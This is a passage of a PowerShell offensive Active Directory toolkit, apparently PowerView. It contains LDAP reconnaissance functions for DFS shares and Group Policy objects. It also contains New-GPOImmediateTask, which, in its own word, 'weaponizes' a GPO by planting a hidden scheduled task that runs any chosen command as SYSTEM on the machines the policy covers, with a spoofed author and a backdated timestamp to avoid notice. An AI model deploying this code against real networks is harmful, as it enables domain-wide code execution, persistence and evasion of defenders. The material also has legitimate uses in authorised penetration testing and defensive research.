$target_state_start + 3\n                        $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)\n\n                        $target_type_start = $target_state_end + 1\n                        $target_type_end = $target_type_start + 3\n                        $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)\n\n                        $server_name_size_start = $target_type_end + 1\n                        $server_name_size_end = $server_name_size_start + 1\n                        $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)\n\n                        $server_name_start = $server_name_size_end + 1\n                        $server_name_end = $server_name_start + $server_name_size - 1\n                        $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])\n\n                        $share_name_size_start = $server_name_end + 1\n                        $share_name_size_end = $share_name_size_start + 1\n                        $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)\n                        $share_name_start = $share_name_size_end + 1\n                        $share_name_end = $share_name_start + $share_name_size - 1\n                        $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])\n\n                        $target_list += \"\\\\$server_name\\$share_name\"\n                        $t_offset = $share_name_end + 1\n                    }\n                }\n            }\n            $offset = $blob_data_end + 1\n            $dfs_pkt_properties = @{\n                'Name' = $blob_name\n                'Prefix' = $prefix\n                'TargetList' = $target_list\n            }\n            $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties\n            $prefix = $null\n            $blob_name = $null\n            $target_list = $null\n        }\n\n        $servers = @()\n        $object_list | ForEach-Object {\n            if ($_.TargetList) {\n                $_.TargetList | ForEach-Object {\n                    $servers += $_.split(\"\\\")[2]\n                }\n            }\n        }\n\n        $servers\n    }\n\n    function Get-DFSshareV1 {\n        [CmdletBinding()]\n        param(\n            [String]\n            $Domain,\n\n            [String]\n            $DomainController,\n\n            [String]\n            $ADSpath,\n\n            [ValidateRange(1,10000)]\n            [Int]\n            $PageSize = 200,\n\n            [Management.Automation.PSCredential]\n            $Credential\n        )\n\n        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n\n        if($DFSsearcher) {\n            $DFSshares = @()\n            $DFSsearcher.filter = \"(&(objectClass=fTDfs))\"\n\n            try {\n                $Results = $DFSSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    $Properties = $_.Properties\n                    $RemoteNames = $Properties.remoteservername\n                    $Pkt = $Properties.pkt\n\n                    $DFSshares += $RemoteNames | ForEach-Object {\n                        try {\n                            if ( $_.Contains('\\') ) {\n                                New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split(\"\\\")[2]}\n                            }\n                        }\n                        catch {\n                            Write-Verbose \"Error in parsing DFS share : $_\"\n                        }\n                    }\n                }\n                $Results.dispose()\n                $DFSSearcher.dispose()\n\n                if($pkt -and $pkt[0]) {\n                    Parse-Pkt $pkt[0] | ForEach-Object {\n                        # If a folder doesn't have a redirection it will\n                        # have a target like\n                        # \\\\null\\TestNameSpace\\folder\\.DFSFolderLink so we\n                        # do actually want to match on \"null\" rather than\n                        # $null\n                        if ($_ -ne \"null\") {\n                            New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}\n                        }\n                    }\n                }\n            }\n            catch {\n                Write-Warning \"Get-DFSshareV1 error : $_\"\n            }\n            $DFSshares | Sort-Object -Property \"RemoteServerName\"\n        }\n    }\n\n    function Get-DFSshareV2 {\n        [CmdletBinding()]\n        param(\n            [String]\n            $Domain,\n\n            [String]\n            $DomainController,\n\n            [String]\n            $ADSpath,\n\n            [ValidateRange(1,10000)] \n            [Int]\n            $PageSize = 200,\n\n            [Management.Automation.PSCredential]\n            $Credential\n        )\n\n        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n\n        if($DFSsearcher) {\n            $DFSshares = @()\n            $DFSsearcher.filter = \"(&(objectClass=msDFS-Linkv2))\"\n            $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))\n\n            try {\n                $Results = $DFSSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    $Properties = $_.Properties\n                    $target_list = $Properties.'msdfs-targetlistv2'[0]\n                    $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])\n                    $DFSshares += $xml.targets.ChildNodes | ForEach-Object {\n                        try {\n                            $Target = $_.InnerText\n                            if ( $Target.Contains('\\') ) {\n                                $DFSroot = $Target.split(\"\\\")[3]\n                                $ShareName = $Properties.'msdfs-linkpathv2'[0]\n                                New-Object -TypeName PSObject -Property @{'Name'=\"$DFSroot$ShareName\";'RemoteServerName'=$Target.split(\"\\\")[2]}\n                            }\n                        }\n                        catch {\n                            Write-Verbose \"Error in parsing target : $_\"\n                        }\n                    }\n                }\n                $Results.dispose()\n                $DFSSearcher.dispose()\n            }\n            catch {\n                Write-Warning \"Get-DFSshareV2 error : $_\"\n            }\n            $DFSshares | Sort-Object -Unique -Property \"RemoteServerName\"\n        }\n    }\n\n    $DFSshares = @()\n\n    if ( ($Version -eq \"all\") -or ($Version.endsWith(\"1\")) ) {\n        $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n    }\n    if ( ($Version -eq \"all\") -or ($Version.endsWith(\"2\")) ) {\n        $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n    }\n\n    $DFSshares | Sort-Object -Property (\"RemoteServerName\",\"Name\") -Unique\n}\n\n\n########################################################\n#\n# GPO related functions.\n#\n########################################################\n\n\nfilter Get-GptTmpl {\n<#\n    .SYNOPSIS\n\n        Helper to parse a GptTmpl.inf policy file path into a custom object.\n\n    .PARAMETER GptTmplPath\n\n        The GptTmpl.inf file path name to parse. \n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount the target GptTmpl folder path as a temporary PSDrive.\n\n    .EXAMPLE\n\n        PS C:\\> Get-GptTmpl -GptTmplPath \"\\\\dev.testlab.local\\sysvol\\dev.testlab.local\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n\n        Parse the default domain policy .inf for dev.testlab.local\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        $GptTmplPath,\n\n        [Switch]\n        $UsePSDrive\n    )\n\n    if($UsePSDrive) {\n        # if we're PSDrives, create a temporary mount point\n        $Parts = $GptTmplPath.split('\\')\n        $FolderPath = $Parts[0..($Parts.length-2)] -join '\\'\n        $FilePath = $Parts[-1]\n        $RandDrive = (\"abcdefghijklmnopqrstuvwxyz\".ToCharArray() | Get-Random -Count 7) -join ''\n\n        Write-Verbose \"Mounting path $GptTmplPath using a temp PSDrive at $RandDrive\"\n\n        try {\n            $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath  -ErrorAction Stop\n        }\n        catch {\n            Write-Verbose \"Error mounting path $GptTmplPath : $_\"\n            return $Null\n        }\n\n        # so we can cd/dir the new drive\n        $TargetGptTmplPath = $RandDrive + \":\\\" + $FilePath\n    }\n    else {\n        $TargetGptTmplPath = $GptTmplPath\n    }\n\n    Write-Verbose \"GptTmplPath: $GptTmplPath\"\n\n    try {\n        Write-Verbose \"Parsing $TargetGptTmplPath\"\n        $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue\n    }\n    catch {\n        Write-Verbose \"Error parsing $TargetGptTmplPath : $_\"\n    }\n\n    if($UsePSDrive -and $RandDrive) {\n        Write-Verbose \"Removing temp PSDrive $RandDrive\"\n        Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force\n    }\n}\n\n\nfilter Get-GroupsXML {\n<#\n    .SYNOPSIS\n\n        Helper to parse a groups.xml file path into a custom object.\n\n    .PARAMETER GroupsXMLpath\n\n        The groups.xml file path name to parse. \n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount the target groups.xml folder path as a temporary PSDrive.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        $GroupsXMLPath,\n\n        [Switch]\n        $UsePSDrive\n    )\n\n    if($UsePSDrive) {\n        # if we're PSDrives, create a temporary mount point\n        $Parts = $GroupsXMLPath.split('\\')\n        $FolderPath = $Parts[0..($Parts.length-2)] -join '\\'\n        $FilePath = $Parts[-1]\n        $RandDrive = (\"abcdefghijklmnopqrstuvwxyz\".ToCharArray() | Get-Random -Count 7) -join ''\n\n        Write-Verbose \"Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive\"\n\n        try {\n            $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath  -ErrorAction Stop\n        }\n        catch {\n            Write-Verbose \"Error mounting path $GroupsXMLPath : $_\"\n            return $Null\n        }\n\n        # so we can cd/dir the new drive\n        $TargetGroupsXMLPath = $RandDrive + \":\\\" + $FilePath\n    }\n    else {\n        $TargetGroupsXMLPath = $GroupsXMLPath\n    }\n\n    try {\n        [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop\n\n        # process all group properties in the XML\n        $GroupsXMLcontent | Select-Xml \"/Groups/Group\" | Select-Object -ExpandProperty node | ForEach-Object {\n\n            $Groupname = $_.Properties.groupName\n\n            # extract the localgroup sid for memberof\n            $GroupSID = $_.Properties.groupSid\n            if(-not $GroupSID) {\n                if($Groupname -match 'Administrators') {\n                    $GroupSID = 'S-1-5-32-544'\n                }\n                elseif($Groupname -match 'Remote Desktop') {\n                    $GroupSID = 'S-1-5-32-555'\n                }\n                elseif($Groupname -match 'Guests') {\n                    $GroupSID = 'S-1-5-32-546'\n                }\n                else {\n                    $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID\n                }\n            }\n\n            # extract out members added to this group\n            $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {\n                if($_.sid) { $_.sid }\n                else { $_.name }\n            }\n\n            if ($Members) {\n\n                # extract out any/all filters...I hate you GPP\n                if($_.filters) {\n                    $Filters = $_.filters.GetEnumerator() | ForEach-Object {\n                        New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}\n                    }\n                }\n                else {\n                    $Filters = $Null\n                }\n\n                if($Members -isnot [System.Array]) { $Members = @($Members) }\n\n                $GPOGroup = New-Object PSObject\n                $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath\n                $GPOGroup | Add-Member Noteproperty 'Filters' $Filters\n                $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName\n                $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID\n                $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null\n                $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members\n                $GPOGroup\n            }\n        }\n    }\n    catch {\n        Write-Verbose \"Error parsing $TargetGroupsXMLPath : $_\"\n    }\n\n    if($UsePSDrive -and $RandDrive) {\n        Write-Verbose \"Removing temp PSDrive $RandDrive\"\n        Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force\n    }\n}\n\n\nfunction Get-NetGPO {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current GPOs in a domain.\n\n    .PARAMETER GPOname\n\n        The GPO name to query for, wildcards accepted.   \n\n    .PARAMETER DisplayName\n\n        The GPO display name to query for, wildcards accepted.   \n\n    .PARAMETER ComputerName\n\n        Return all GPO objects applied to a given computer (FQDN).\n\n    .PARAMETER Domain\n\n        The domain to query for GPOs, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through\n        e.g. \"LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local\"\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGPO -Domain testlab.local\n        \n        Returns the GPOs in the 'testlab.local' domain. \n#>\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $GPOname = '*',\n\n        [String]\n        $DisplayName,\n\n        [String]\n        $ComputerName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n        \n        [String]\n        $ADSpath,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n    }\n\n    process {\n        if ($GPOSearcher) {\n\n            if($ComputerName) {\n                $GPONames = @()\n                $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize\n\n                if(!$Computers) {\n                    throw \"Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name\"\n                }\n                \n                # get the given computer's OU\n                $ComputerOUs = @()\n                ForEach($Computer in $Computers) {\n                    # extract all OUs a computer is a part of\n                    $DN = $Computer.distinguishedname\n\n                    $ComputerOUs += $DN.split(\",\") | ForEach-Object {\n                        if($_.startswith(\"OU=\")) {\n                            $DN.substring($DN.indexof($_))\n                        }\n                    }\n                }\n                \n                Write-Verbose \"ComputerOUs: $ComputerOUs\"\n\n                # find all the GPOs linked to the computer's OU\n                ForEach($ComputerOU in $ComputerOUs) {\n                    $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { \n                        # get any GPO links\n                        write-verbose \"blah: $($_.name)\"\n                        $_.gplink.split(\"][\") | ForEach-Object {\n                            if ($_.startswith(\"LDAP\")) {\n                                $_.split(\";\")[0]\n                            }\n                        }\n                    }\n                }\n                \n                Write-Verbose \"GPONames: $GPONames\"\n\n                # find any GPOs linked to the site for the given computer\n                $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName\n                if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {\n                    $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {\n                        if($_.gplink) {\n                            $_.gplink.split(\"][\") | ForEach-Object {\n                                if ($_.startswith(\"LDAP\")) {\n                                    $_.split(\";\")[0]\n                                }\n                            }\n                        }\n                    }\n                }\n\n                $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {\n\n                    # use the gplink as an ADS path to enumerate all GPOs for the computer\n                    $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize\n                    $GPOSearcher.filter=\"(&(objectCategory=groupPolicyContainer)(name=$GPOname))\"\n\n                    try {\n                        $Results = $GPOSearcher.FindAll()\n                        $Results | Where-Object {$_} | ForEach-Object {\n                            $Out = Convert-LDAPProperty -Properties $_.Properties\n                            $Out | Add-Member Noteproperty 'ComputerName' $ComputerName\n                            $Out\n                        }\n                        $Results.dispose()\n                        $GPOSearcher.dispose()\n                    }\n                    catch {\n                        Write-Warning $_\n                    }\n                }\n            }\n\n            else {\n                if($DisplayName) {\n                    $GPOSearcher.filter=\"(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))\"\n                }\n                else {\n                    $GPOSearcher.filter=\"(&(objectCategory=groupPolicyContainer)(name=$GPOname))\"\n                }\n\n                try {\n                    $Results = $GPOSearcher.FindAll()\n                    $Results | Where-Object {$_} | ForEach-Object {\n                        if($ADSPath -and ($ADSpath -Match '^GC://')) {\n                            $Properties = Convert-LDAPProperty -Properties $_.Properties\n                            try {\n                                $GPODN = $Properties.distinguishedname\n                                $GPODomain = $GPODN.subString($GPODN.IndexOf(\"DC=\")) -replace 'DC=','' -replace ',','.'\n                                $gpcfilesyspath = \"\\\\$GPODomain\\SysVol\\$GPODomain\\Policies\\$($Properties.cn)\"\n                                $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath\n                                $Properties\n                            }\n                            catch {\n                                $Properties\n                            }\n                        }\n                        else {\n                            # convert/process the LDAP fields for each result\n                            Convert-LDAPProperty -Properties $_.Properties\n                        }\n                    }\n                    $Results.dispose()\n                    $GPOSearcher.dispose()\n                }\n                catch {\n                    Write-Warning $_\n                }\n            }\n        }\n    }\n}\n\n\nfunction New-GPOImmediateTask {\n<#\n    .SYNOPSIS\n\n        Builds an 'Immediate' schtask to push out through a specified GPO.\n\n    .PARAMETER TaskName\n\n        Name for the schtask to recreate. Required.\n\n    .PARAMETER Command\n\n        The command to execute with the task, defaults to 'powershell'\n\n    .PARAMETER CommandArguments\n\n        The arguments to supply to the -Command being launched.\n\n    .PARAMETER TaskDescription\n\n        An optional description for the task.\n\n    .PARAMETER TaskAuthor\n        \n        The displayed author of the task, defaults to ''NT AUTHORITY\\System'\n\n    .PARAMETER TaskModifiedDate\n    \n        The displayed modified date for the task, defaults to 30 days ago.\n\n    .PARAMETER GPOname\n\n        The GPO name to build the task for.\n\n    .PARAMETER GPODisplayName\n\n        The GPO display name to build the task for.\n\n    .PARAMETER Domain\n\n        The domain to query for the GPOs, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through\n        e.g. \"LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local\"\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target.\n\n    .EXAMPLE\n\n        PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c \"123 | Out-File C:\\Temp\\debug.txt\"' -Force\n\n        Create an immediate schtask that executes the specified PowerShell arguments and\n        push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.\n\n    .EXAMPLE\n\n        PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force\n\n        Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.\n#>\n    [CmdletBinding(DefaultParameterSetName = 'Create')]\n    Param (\n        [Parameter(ParameterSetName = 'Create', Mandatory = $True)]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $TaskName,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $Command = 'powershell',\n\n        [Parameter(ParameterSetName = 'Create')]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $CommandArguments,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $TaskDescription = '',\n\n        [Parameter(ParameterSetName = 'Create')]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $TaskAuthor = 'NT AUTHORITY\\System',\n\n        [Parameter(ParameterSetName = 'Create')]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim(\"Z\"),\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [String]\n        $GPOname,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [String]\n        $GPODisplayName,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [String]\n        $Domain,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [String]\n        $DomainController,\n        \n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [String]\n        $ADSpath,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]\n        [Switch]\n        $Force,\n\n        [Parameter(ParameterSetName = 'Remove')]\n        [Switch]\n        $Remove,\n\n        [Parameter(ParameterSetName = 'Create')]\n        [Parameter(ParameterSetName = 'Remove')]        \n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # build the XML spec for our 'immediate' scheduled task\n    $TaskXML = '<?xml version=\"1.0\" encoding=\"utf-8\"?><ScheduledTasks clsid=\"{CC63F200-7309-4ba0-B154-A71CD118DBCC}\"><ImmediateTaskV2 clsid=\"{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}\" name=\"'+$TaskName+'\" image=\"0\" changed=\"'+$TaskModifiedDate+'\" uid=\"{'+$([guid]::NewGuid())+'}\" userContext=\"0\" removePolicy=\"0\"><Properties action=\"C\" name=\"'+$TaskName+'\" runAs=\"NT AUTHORITY\\System\" logonType=\"S4U\"><Task version=\"1.3\"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id=\"Author\"><UserId>NT AUTHORITY\\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context=\"Author\"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'\n\n    if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {\n        Write-Warning 'Either -GPOName or -GPODisplayName must be specified'\n        return\n    }\n\n    # eunmerate the specified GPO(s)\n    $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential \n    \n    if(!$GPOs) {\n        Write-Warning 'No GPO found.'\n        return\n    }\n\n    $GPOs | ForEach-Object {\n        $ProcessedGPOName = $_.Name\n        try {\n            Write-Verbose \"Trying to weaponize GPO: $ProcessedGPOName\"\n\n            # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(\n            if($Credential) {\n                Write-Verbose \"Mapping '$($_.gpcfilesyspath)' to network drive N:\\\"\n                $Path = $_.gpcfilesyspath.TrimEnd('\\')\n                $Net = New-Object -ComObject WScript.Network\n                $Net.MapNetworkDrive(\"N:\", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)\n                $TaskPath = \"N:\\Machine\\Preferences\\ScheduledTasks\\\"\n            }\n            else {\n                $TaskPath = $_.gpcfilesyspath + \"\\Machine\\Preferences\\ScheduledTasks\\\"\n            }\n\n            if($Remove) {\n                if(!(Test-Path \"$TaskPath\\ScheduledTasks.xml\")) {\n                    Throw \"Scheduled task doesn't exist at $TaskPath\\ScheduledTasks.xml\"\n                }\n\n                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',\"Removing schtask at $TaskPath\\ScheduledTasks.xml\")) {\n                    return\n                }\n\n                Remove-Item -Path \"$TaskPath\\ScheduledTasks.xml\" -Force\n            }\n            else {\n                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',\"Creating schtask at $TaskPath\\ScheduledTasks.xml\")) {\n                    return\n                }\n                \n                # create the folder if it doesn't exist\n                $Null = New-Item -ItemType Directory -Force -Path $TaskPath\n\n                if(Test-Path \"$TaskPath\\ScheduledTasks.xml\") {\n                    Throw \"Scheduled task already exists at $TaskPath\\ScheduledTasks.xml !\"\n                }\n\n                $TaskXML | Set-Content -Encoding ASCII -Path \"$TaskPath\\ScheduledTasks.xml\"\n            }\n\n            if($Credential) {\n                Write-Verbose \"Removing mounted drive at N:\\\"\n                $Net = New-Object -ComObject WScript.Network\n                $Net.RemoveNetworkDrive(\"N:\")\n            }\n        }\n        catch {\n            Write-Warning \"Error for GPO $ProcessedGPOName : $_\"\n            if($Credential) {\n                Write-Verbose \"Removing mounted drive at N:\\\"\n                $Net = New-Object -ComObject WScript.Network\n                $Net.RemoveNetworkDrive(\"N:\")\n            }\n        }\n    }\n}\n\n\nfunction Get-NetGPOGroup {\n<#\n    .SYNOPSIS\n\n        Returns all GPOs in a domain that set \"Restricted Groups\" or use groups.xml on on target machines.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n        Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName\n        Optional Dependencies: None\n    \n    .DESCRIPTION\n\n        First enumerates all GPOs in the current/target domain using Get-NetGPO with passed\n        arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or\n        group membership is set through Group Policy Preferences groups.xml files. For any\n        GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'\n        section data is processed if present. Any found Groups.xml files are parsed with\n        Get-GroupsXML and those memberships are returned as well.\n\n    .PARAMETER GPOname\n\n        The GPO name (GUID) to query for, wildcards accepted.\n\n    .PARAMETER DisplayName\n\n        The GPO display name to query for, wildcards accepted.\n\n    .PARAMETER Domain\n\n        The domain to query for GPOs, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through for GPOs.\n        e.g. \"LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local\"\n\n    .PARAMETER ResolveMemberSIDs\n\n        Switch. Try to resolve the SIDs of all found group members.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount any found policy files with temporary PSDrives.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGPOGroup\n\n        Returns all local groups set by GPO along with their members and memberof.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGPOGroup -ResolveMemberSIDs\n\n        Returns all local groups set by GPO along with their members and memberof,\n        and resolve any members to their domain SIDs.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'\n\n        Return any GPO-set groups for the GPO with the given name/GUID.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGPOGroup -DisplayName 'Desktops'\n\n        Return any GPO-set groups for the GPO with the given display name.\n\n    .LINK\n\n        https://morgansimonsenblog.azurewebsites.net/tag/groups/\n#>\n\n    [CmdletBinding()]\n    Param (\n        [String]\n        $GPOname = '*',\n\n        [String]\n        $DisplayName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $ResolveMemberSIDs,\n\n        [Switch]\n        $UsePSDrive,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    $Option = [System.StringSplitOptions]::RemoveEmptyEntries\n\n    # get every GPO from the specified domain with restricted groups set\n    Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {\n\n        $GPOdisplayName = $_.displayname\n        $GPOname = $_.name\n        $GPOPath = $_.gpcfilesyspath\n\n        $ParseArgs =  @{\n            'GptTmplPath' = \"$GPOPath\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n            'UsePSDrive' = $UsePSDrive\n        }\n\n        # parse the GptTmpl.inf 'Restricted Groups' file if it exists\n        $Inf = Get-GptTmpl @ParseArgs\n\n        if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {\n\n            $Memberships = @{}\n\n            # group the members/memberof fields for each entry\n            ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {\n                $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}\n\n                # extract out ALL members\n                $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}\n\n                if($ResolveMemberSIDs) {\n                    # if the resulting member is username and not a SID, attempt to resolve it\n                    $GroupMembers = @()\n                    ForEach($Member in $MembershipValue) {\n                        if($Member -and ($Member.Trim() -ne '')) {\n                            if($Member -notmatch '^S-1-.*') {\n                                $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID\n                                if($MemberSID) {\n                                    $GroupMembers += $MemberSID\n                                }\n                                else {\n                                    $GroupMembers += $Member\n                                }\n                            }\n                            else {\n                                $GroupMembers += $Member\n                            }\n                        }\n                    }\n                    $MembershipValue = 